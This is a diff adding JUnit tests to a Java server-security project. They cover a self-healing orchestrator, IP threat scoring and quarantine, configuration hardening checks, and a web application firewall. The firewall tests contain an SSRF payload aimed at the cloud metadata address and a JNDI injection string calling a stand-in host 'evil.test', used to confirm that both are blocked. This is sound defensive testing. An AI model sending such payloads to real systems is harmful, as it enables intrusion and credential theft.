+            NetworkMonitorService networkMonitor = new NetworkMonitorService();
+            TrafficAnalysisService traffic = new TrafficAnalysisService();
+            PortScanDetectionService portScan = new PortScanDetectionService();
+            PacketInspectionService packetInspection = new PacketInspectionService();
+            IPReputationService ipReputation = new IPReputationService();
+            GeoIPService geoIP = new GeoIPService();
+            RateLimitService rateLimit = new RateLimitService();
+            NetworkThreatFusionService fusion = new NetworkThreatFusionService(
+                ddos, firewall, intrusion, networkMonitor, traffic, portScan, packetInspection, ipReputation, geoIP, rateLimit
+            );
+
+            SecurityBaselineHardeningService hardening = new SecurityBaselineHardeningService(config);
+            CommandExecutionGuardService commandGuard = new CommandExecutionGuardService(config, intrusion);
+            WebApplicationFirewall waf = new WebApplicationFirewall();
+            AluerKernelEngine kernel = new AluerKernelEngine(config, fusion, hardening, commandGuard, waf);
+            AIStrategyEngine strategyEngine = new AIStrategyEngine();
+            SecurityAuditService auditService = new SecurityAuditService(config, rconClient);
+            AluerKernelTaskBus taskBus = new AluerKernelTaskBus(config, processMonitor, backupService, rconClient, strategyEngine, auditService, kernel);
+
+            orchestrator = new AluerSelfHealingOrchestrator(
+                config,
+                kernel,
+                taskBus,
+                resourceMonitor,
+                processMonitor,
+                hardening,
+                auditService
+            );
+        }
+    }
+
+    private static final class FakeProcessMonitor extends ProcessMonitor {
+        private FakeProcessMonitor(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public boolean isProcessRunning() {
+            return false;
+        }
+
+        @Override
+        public boolean restartProcess() {
+            return true;
+        }
+    }
+
+    private static final class FakeResourceMonitor extends ResourceMonitor {
+        private FakeResourceMonitor(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public MetricsData collectMetrics() {
+            MetricsData data = new MetricsData();
+            data.setTps(10.5);
+            data.setCpuUsage(96.0);
+            data.setMemoryUsage(97.0);
+            return data;
+        }
+    }
+
+    private static final class FakeBackupService extends BackupService {
+        private FakeBackupService(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public BackupResult performScheduledBackup() {
+            BackupResult result = new BackupResult();
+            result.setName("heal-backup");
+            result.setSuccess(true);
+            result.setBackupPath("/tmp/heal-backup");
+            result.setStartTime(java.time.LocalDateTime.now());
+            return result;
+        }
+    }
+
+    private static final class FakeRconClient extends RconClient {
+        private FakeRconClient(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public boolean clearLag() {
+            return true;
+        }
+
+        @Override
+        public boolean setSpawnRate(int rate) {
+            return true;
+        }
+
+        @Override
+        public boolean enableWhitelist() {
+            return true;
+        }
+
+        @Override
+        public String executeCommand(String command) {
+            return "ok";
+        }
+
+        @Override
+        public boolean restartServer() {
+            return true;
+        }
+    }
+}
@@ -0,0 +1,110 @@
+package com.aluer.security;
+
+import org.junit.jupiter.api.Test;
+
+import java.lang.reflect.Field;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ExecutorService;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+class NetworkThreatFusionServiceTest {
+
+    @Test
+    void inspectIPCombinesSignalsIntoCriticalRisk() throws Exception {
+        try (Fixture fixture = new Fixture()) {
+            String ip = "203.0.113.10";
+
+            fixture.ddos.blockIP(ip, "SYN_FLOOD", "Traffic burst");
+            fixture.firewall.addToBlacklist(ip);
+            fixture.firewall.checkConnection(ip, "minecraft", 25565, "tcp");
+            fixture.portScan.blockScanner(ip, "PORT_SCAN", "Scanned 25 ports");
+            fixture.ipReputation.recordAttack(ip, "PORT_SCAN");
+            fixture.ipReputation.addToBlacklist(ip);
+            fixture.rateLimit.recordRejection(ip, "api", "Rate limit exceeded");
+            fixture.packetInspection.inspectPacket(ip, Map.of("size", 12000));
+            fixture.intrusion.triggerAlert("MALICIOUS_IP", "tester", "Known bad host", ip);
+
+            fixture.networkMonitor.recordInboundTraffic(ip, 20_000_000L, 100);
+            for (int port = 20000; port < 20045; port++) {
+                fixture.networkMonitor.recordConnection(ip, port, "tcp");
+            }
+
+            for (int port = 30000; port < 30105; port++) {
+                fixture.traffic.analyzePacket(ip, "198.51.100.1", port, 1500, "tcp");
+            }
+
+            Map<String, Object> result = fixture.service.inspectIP(ip);
+
+            assertEquals(ip, result.get("ip"));
+            assertEquals("critical", result.get("riskLevel"));
+            assertTrue(((Integer) result.get("riskScore")) >= 80);
+            assertTrue((Boolean) result.get("blocked"));
+
+            @SuppressWarnings("unchecked")
+            List<String> reasons = (List<String>) result.get("reasons");
+            assertFalse(reasons.isEmpty());
+        }
+    }
+
+    @Test
+    void quarantineIPBlacklistsAcrossServices() throws Exception {
+        try (Fixture fixture = new Fixture()) {
+            String ip = "198.51.100.22";
+
+            Map<String, Object> result = fixture.service.quarantineIP(ip, "tester", "manual containment");
+
+            assertEquals("quarantined", result.get("status"));
+            assertTrue((Boolean) result.get("blocked"));
+            assertTrue((Boolean) result.get("quarantined"));
+            assertTrue(fixture.ddos.isBlocked(ip));
+            assertTrue(fixture.firewall.isBlacklisted(ip));
+            assertTrue(fixture.ipReputation.isBlacklisted(ip));
+        }
+    }
+
+    private static final class Fixture implements AutoCloseable {
+        private final DDoSProtectionService ddos = new DDoSProtectionService();
+        private final FirewallService firewall = new FirewallService();
+        private final IntrusionDetectionService intrusion = new IntrusionDetectionService();
+        private final NetworkMonitorService networkMonitor = new NetworkMonitorService();
+        private final TrafficAnalysisService traffic = new TrafficAnalysisService();
+        private final PortScanDetectionService portScan = new PortScanDetectionService();
+        private final PacketInspectionService packetInspection = new PacketInspectionService();
+        private final IPReputationService ipReputation = new IPReputationService();
+        private final GeoIPService geoIP = new GeoIPService();
+        private final RateLimitService rateLimit = new RateLimitService();
+        private final NetworkThreatFusionService service = new NetworkThreatFusionService(
+            ddos,
+            firewall,
+            intrusion,
+            networkMonitor,
+            traffic,
+            portScan,
+            packetInspection,
+            ipReputation,
+            geoIP,
+            rateLimit
+        );
+
+        @Override
+        public void close() throws Exception {
+            shutdownExecutors(ddos, firewall, intrusion, networkMonitor, traffic, portScan, packetInspection, ipReputation, rateLimit);
+        }
+
+        private void shutdownExecutors(Object... services) throws Exception {
+            for (Object service : services) {
+                for (Field field : service.getClass().getDeclaredFields()) {
+                    field.setAccessible(true);
+                    Object value = field.get(service);
+                    if (value instanceof ExecutorService executorService) {
+                        executorService.shutdownNow();
+                    }
+                }
+            }
+        }
+    }
+}
@@ -0,0 +1,28 @@
+package com.aluer.security;
+
+import com.aluer.config.ServerGuardConfig;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+class SecurityBaselineHardeningServiceTest {
+
+    @Test
+    void assessCurrentBaselineFlagsWeakRemoteControlAndUnsafeAutonomyThresholds() {
+        ServerGuardConfig config = new ServerGuardConfig();
+        config.getMinecraft().getRcon().setEnabled(true);
+        config.getMinecraft().getRcon().setPassword("");
+        config.getSecurity().getAntiIntrusion().getFileIntegrity().setEnabled(false);
+        config.getSecurity().getHostEnforcement().setEnabled(false);
+        config.getAi().getDeepseek().getAutoExecute().setEnabled(true);
+        config.getAi().getDeepseek().getAutoExecute().setMinConfidence(60);
+
+        SecurityBaselineHardeningService service = new SecurityBaselineHardeningService(config);
+        SecurityBaselineHardeningService.HardeningReport report = service.assessCurrentBaseline();
+
+        assertTrue(report.getCriticalCount() >= 1);
+        assertTrue(report.getHighCount() >= 1);
+        assertTrue(report.getMediumCount() >= 1);
+        assertTrue(report.getScore() < 80);
+    }
+}
@@ -0,0 +1,44 @@
+package com.aluer.security;
+
+import org.junit.jupiter.api.Test;
+
+import java.util.Map;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+class WebApplicationFirewallTest {
+
+    @Test
+    void blocksSsrfPayloadsTargetingMetadataService() {
+        WebApplicationFirewall firewall = new WebApplicationFirewall();
+
+        WebApplicationFirewall.WAFResult result = firewall.checkRequest(
+            "203.0.113.10",
+            "GET",
+            "/api/proxy",
+            "url=http://169.254.169.254/latest/meta-data/",
+            Map.of("User-Agent", "JUnit"),
+            null
+        );
+
+        assertTrue(result.isBlocked());
+        assertTrue(result.getMatchedRules().contains("SSRF_ATTACK"));
+    }
+
+    @Test
+    void blocksJndiInjectionPayloads() {
+        WebApplicationFirewall firewall = new WebApplicationFirewall();
+
+        WebApplicationFirewall.WAFResult result = firewall.checkRequest(
+            "203.0.113.11",
+            "POST",
+            "/login",
+            null,
+            Map.of("X-Api-Version", "${jndi:ldap://evil.test/a}"),
+            null
+        );
+
+        assertTrue(result.isBlocked());
+        assertTrue(result.getMatchedRules().contains("JNDI_INJECTION"));
+    }
+}